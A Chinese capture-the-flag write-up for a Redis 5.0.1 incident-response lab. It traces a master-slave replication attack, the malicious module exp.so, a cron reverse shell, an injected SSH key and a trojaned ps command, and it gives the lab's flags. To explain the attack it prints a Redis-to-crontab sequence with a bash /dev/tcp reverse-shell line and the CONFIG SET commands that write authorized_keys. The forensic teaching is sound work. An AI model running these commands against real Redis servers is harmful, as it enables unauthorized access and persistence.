第二章日志分析-redis应急响应

1、通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

2、通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;

3、通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;

4、通过本地 PC SSH到服务器并且溯源分析黑客的用户名，并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交

5、通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

注意: 先开启redis服务

再使用xshell来连接。

通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少

拷贝日志到本地细细看，可以看到版本号5.0.1，可利用redis漏洞有未授权访问，redis主从复制

解题思路；

题目让我们通过本机使用SSH连接靶机然后分析黑客IP，其实不需要这么麻烦（SSH连接），我们直接分析redis的日志即可，当然前提条件是我们必须先知道“redis”版本号是多少，然后简单了解一下黑客是利用什么漏洞打进来的，这样更有助于了解后面的题目；

日志不长，可以看到有sync，MASTER，slave和3个ip

Redis 服务器日志存放位置；（一般不会轻易修改）

logfile /var/log/redis/redis.log

这时我们很容易想到redis的主从复制漏洞利用

Redis 日志文件通常用于记录 Redis 服务器的运行情况、错误信息和其他重要事件。这些日志文件默认存放在 /var/log/ 目录下，但实际位置可以通过 Redis 配置文件 redis.conf 中的 logfile 参数进行配置，但这题未修改。

Redis版本号查询命令；（也可以直接使用——redis-server --version）

redis-cli INFO | grep redis_version

redis_version:5.0.1

Redis:5.0.1最大可能性漏洞；

最大可能性漏洞及其影响

对于 Redis 5.0.1，未授权访问 是最常见且可能性最大的漏洞，尤其是在 Redis 默认配置下没有设置密码的情况下。攻击者可以通过未授权访问执行以下操作：

1、读取和修改数据：攻击者可以读取 Redis 数据库中的所有数据，甚至可以删除或修改数据。

2、远程代码执行：攻击者可以利用 CONFIG 命令修改配置文件来写入恶意代码，从而在目标服务器上执行任意代码。

3、持久化恶意代码：通过修改 Redis 的持久化配置，攻击者可以在服务器重启时执行恶意操作。

开始分析Redis日志；

同样日志里面也是能发现版本号；

因为日志不是很多，算比较少的，往下翻一些就发现了“192.168.100.13”这个IP一直想与 Redis 实例尝试与主服务器（MASTER）进行同步（SYNC），但连接被拒绝（Connection refused）；

那就尝试提交一下，发现正确；（做了那么多找黑客ip的题目，如果IP不是很多且没有提交限制，为了更便捷，建议可以直接统计一下IP，一个一个尝试提交即可）

flag{192.168.100.13}

但是提交flag后，发现答案不对，提交成了第三个flag，仔细分析一下日志文件：

关键日志信息：

MASTER <-> REPLICA sync started: 表示 Redis 副本（REPLICA）尝试与主服务器（MASTER）进行同步。

Error condition on socket for SYNC: Connection refused: 表示同步连接尝试失败，连接被拒绝。

下面这里又发现了个IP：192.168.100.20，尝试提交，发现这才是第一题翻的flag，那这到底是怎么回事呢？我们来好好分析一下；

简单分析；

从日志中，可以分析出黑客成功攻击的IP是192.168.100.20，以下是具体的分析过程：

日志分析

连接失败：

419:S 31 Jul 2023 05:34:00.715 * MASTER <-> REPLICA sync started
419:S 31 Jul 2023 05:34:00.715 # Error condition on socket for SYNC: Connection refused
419:S 31 Jul 2023 05:34:01.717 * Connecting to MASTER 192.168.100.13:8888
419:S 31 Jul 2023 05:34:01.717 * MASTER <-> REPLICA sync started
419:S 31 Jul 2023 05:34:01.718 # Error condition on socket for SYNC: Connection refused

这里多次尝试连接192.168.100.13:8888，但都被拒绝（Connection refused）。

切换主节点：

419:S 31 Jul 2023 05:34:03.034 * REPLICAOF 192.168.31.55:8888 enabled (user request from 'id=5 addr=192.168.200.2:64319 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=47 qbuf-free=32721 obl=0 oll=0 omem=0 events=r cmd=slaveof')

切换到另一个主节点192.168.31.55:8888。
再次切换主节点：

419:S 31 Jul 2023 05:34:33.173 * REPLICAOF 192.168.100.20:8888 enabled (user request from 'id=6 addr=192.168.200.2:64339 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=48 qbuf-free=32720 obl=0 oll=0 omem=0 events=r cmd=slaveof')
切换到192.168.100.20:8888。

成功连接并同步：

419:S 31 Jul 2023 05:34:33.786 * Connecting to MASTER 192.168.100.20:8888
419:S 31 Jul 2023 05:34:33.786 * MASTER <-> REPLICA sync started
419:S 31 Jul 2023 05:34:33.788 * Non blocking connect for SYNC fired the event.
419:S 31 Jul 2023 05:34:35.192 * Master replied to PING, replication can continue...
419:S 31 Jul 2023 05:34:35.194 * Trying a partial resynchronization (request 7a73a1a4297a16c50d8465b0cc432444f0e5df71:1).
419:S 31 Jul 2023 05:34:35.195 * Full resync from master: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ:1
419:S 31 Jul 2023 05:34:35.195 * Discarding previously cached master state.
419:S 31 Jul 2023 05:34:35.195 * MASTER <-> REPLICA sync: receiving 48040 bytes from master
419:S 31 Jul 2023 05:34:35.197 * MASTER <-> REPLICA sync: Flushing old data
419:S 31 Jul 2023 05:34:35.197 * MASTER <-> REPLICA sync: Loading DB in memory
419:S 31 Jul 2023 05:34:35.197 # Wrong signature trying to load DB from file
419:S 31 Jul 2023 05:34:35.197 # Failed trying to load the MASTER synchronization DB from disk

从这部分日志中，可以看到与192.168.100.20成功建立连接并进行同步。尽管尝试加载同步数据时出现错误，但连接和同步过程已经开始，这意味着攻击者已经能够通过这种连接尝试植入恶意代码或进一步操控系统。

加载恶意模块：

419:S 31 Jul 2023 05:34:37.205 * Module 'system' loaded from ./exp.so

最后，从日志中可以看到恶意模块exp.so被成功加载，这通常是黑客用来执行进一步攻击的手段。

总结

黑客通过多次尝试，最终成功将从节点配置为复制192.168.100.20:8888，并通过该连接植入了恶意模块。这表明，IP地址192.168.100.20是黑客成功攻击的目标。

flag{192.168.100.20}

将黑客上传的恶意文件里面的 FLAG 提交

将exp.so拖入二进制工具找到flag

还有一种方法，也可以直接找到flag，是的没错直接过滤一下即可；

提取字符“flag”

strings exp.so | grep "flag"

前提是要能想到flag，一般来说还是很难想到的，还是建议大家老实使用010，或者记事本这样更便于分析细节；

flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}

找出黑客反弹shell的IP

同样redis的攻击手法里有利用crontab写入定时任务来反弹shell的手法

redis-cli -h 192.168.100.13 #连接
 
redis flushall #清除所有键值
 
config set dir /var/spool/cron/crontabs/ #设置保存路径
 
config set dbfilename shell #保存名称
 
set xz “\n * bash -i >& /dev/tcp/192.168.100.13/7777 0>&1\n” #将反弹shell写入xz键值
 
save #写入保存路径的shell文件

题目让我们找到黑客反弹shell的IP是啥作为flag进行提交，那我们可以查看一下当前用户的定时任务那一些，如果黑客通过定时任务(cron job)进行持久化攻击，他们可能会在 crontab 中留下定时执行的恶意脚本、命令或反弹 shell 的配置。因此，通过检查 crontab -l，很可能会发现黑客设置的定时任务，从而找到恶意活动的迹象，那就试试呗。

crontab -l

flag{192.168.100.13}

通过本地 PC SSH到服务器并且溯源分析黑客的用户名，并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交

解题思路；

题目让我们溯源查找黑客的用户名，并且找到黑客使用工具的关键字符串，那这里我们检查 一下SSH 登录日志，通常 SSH 登录的日志记录在系统的安全日志文件中，但是，SSH（Secure Shell）提供了两种主要的登录验证方式；

1. 密码验证（Password Authentication）

工作原理：

• 用户在登录时需要提供用户名和密码。
• 服务器接收用户名和密码后，验证它们是否匹配预先存储的凭证。
• 如果用户名和密码正确，用户即可登录服务器。

2. 公钥验证（Public Key Authentication）
工作原理：

• 用户生成一对 SSH 密钥对，包括私钥和公钥。
• 公钥被上传并存储在目标服务器的用户账户下的 ~/.ssh/authorized_keys 文件中。
• 用户在登录时使用其私钥进行身份验证。
• 服务器通过匹配用户提供的私钥和存储的公钥来验证用户身份。
• 如果匹配成功，用户即可登录服务器。

所以我们可以从两点看出；

• Redis 配置：黑客利用 Redis 的未授权访问或其他漏洞，将自己的公钥写入了服务器的 ~/.ssh/authorized_keys 文件中，从而可以使用 SSH 公钥验证进行登录。
• 登录日志：SSH 登录日志通常会显示使用的验证方式。虽然在提供的日志中没有明确显示公钥验证，但结合 Redis 被利用的情况，可以推测黑客可能通过这种方式获取了访问权限。

也就是说会向靶机上写入SSH密钥，那我们查看一下靶机的/root/.ssh；

查看root是否有.ssh文件存在；

ls -la

 

简单分析一下；

REDIS0009	redis-ver5.0.1
redis-bits????etOused-memXU
??preamble~??shB9

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDh4OEFvyb4ubM7YPvzG/FfO6jE4PjLdmuCUdGP+aeLeJB5SXYT6zHkU9wlfY/Fo4UuBlhTqBaS6Ih/Wf62KepzrMsTQQYcSG/Xp8lgFzVCCFAk7apzxfRCPNk1pxaGiEF6MPoCmUu1UhC3ta3xyh2c4KZls0hyFN9JZsuD+siT8KVqm856vQ+RaTrZi3ThMa5gbeH+v3ZUcO35ZfMKor/uWXffHT0Yi06dsgIMN3faIiBrd1Lg0B5kOTaDq3fHs8Qs7pvR9C4ZTm2AK/Oct8ULdsnfS2YWtrYyC8rzNip9Wf083ZY1B4bj1UoxD+QwgThh5VP3xgRd9KDSzEYIBabstGh8GU5zDxr0zIuhQM35I0aALvojXl4QaaEnZwpqU3ZkojPG2aNC0QdiBK7eKwA38Gk+V8DEWc/TTkO+wm3aXYdll5sPmoWTAonaln1nmCiTDn4jKb73DxYHfSgNIDpJ6fS5kbWL5UJnElWCrxzaXKHUlqXJj3x81Oz6baFNv8= xj-test-user

Redis 标识：

REDIS0009 redis-ver5.0.1

这一部分是 Redis 数据库文件的头部信息，表明这个文件是 Redis 数据库文件格式版本9，Redis 版本5.0.1。

公钥部分：

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDh4OEFvyb4ubM7YPvzG/FfO6jE4PjLdmuCUdGP+aeLeJB5SXYT6zHkU9wlfY/Fo4UuBlhTqBaS6Ih/Wf62KepzrMsTQQYcSG/Xp8lgFzVCCFAk7apzxfRCPNk1pxaGiEF6MPoCmUu1UhC3ta3xyh2c4KZls0hyFN9JZsuD+siT8KVqm856vQ+RaTrZi3ThMa5gbeH+v3ZUcO35ZfMKor/uWXffHT0Yi06dsgIMN3faIiBrd1Lg0B5kOTaDq3fHs8Qs7pvR9C4ZTm2AK/Oct8ULdsnfS2YWtrYyC8rzNip9Wf083ZY1B4bj1UoxD+QwgThh5VP3xgRd9KDSzEYIBabstGh8GU5zDxr0zIuhQM35I0aALvojXl4QaaEnZwpqU3ZkojPG2aNC0QdiBK7eKwA38Gk+V8DEWc/TTkO+wm3aXYdll5sPmoWTAonaln1nmCiTDn4jKb73DxYHfSgNIDpJ6fS5kbWL5UJnElWCrxzaXKHUlqXJj3x81Oz6baFNv8= xj-test-user

这一部分是一个标准的SSH公钥，格式为ssh-rsa，后面是公钥数据，最后是用户名注释xj-test-user。

直接百度一下这个用户，看看有什么线索；

flag{xj-test-user-wow-you-find-flag}

拓展1.2

推测攻击步骤

1. 利用 Redis 写入：

• • 黑客利用 Redis 未授权访问或其他漏洞，将上述内容写入 Redis 数据库，特别是将公钥写入服务器的 ~/.ssh/authorized_keys 文件。
  • 这可以通过以下 Redis 命令实现：

 CONFIG SET dir /root/.ssh/
 CONFIG SET dbfilename "authorized_keys" 
 SAVE`

• 通过上述命令，Redis 会在指定目录下创建或覆盖 authorized_keys 文件，将内容写入其中。

使用公钥登录：

• • 黑客使用对应的私钥，通过 SSH 公钥验证方式登录到目标服务器，绕过密码验证。

从日志推断公钥验证

虽然提供的日志中没有明确提到使用公钥验证，但结合 Redis 配置和攻击手法，可以推断以下过程：

• 黑客通过 Redis 写入公钥。
• 随后通过 SSH 使用公钥验证成功登录服务器。

结论

从提供的公钥内容可以推断，黑客利用 Redis 漏洞或未授权访问，将自己的公钥写入目标服务器的 ~/.ssh/authorized_keys 文件，然后使用 SSH 公钥验证方式成功登录。这种方法避免了密码验证的步骤，更加隐蔽且难以检测。（没得说，确实牛）

通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

cd /usr/bin
ls -al
发现异常

cat ps

发现这并不是系统自带的ps命令了，该脚本被用来替代了系统原有的ps命令，使用ps_ $1 $2 $3调用一个未知的命令或脚本（ps_），并将传递给ps命令的参数转发给它。然后，通过管道将输出传递给grep -v 'threadd'，过滤掉包含字符串'threadd'的行，说明ps命令被篡改了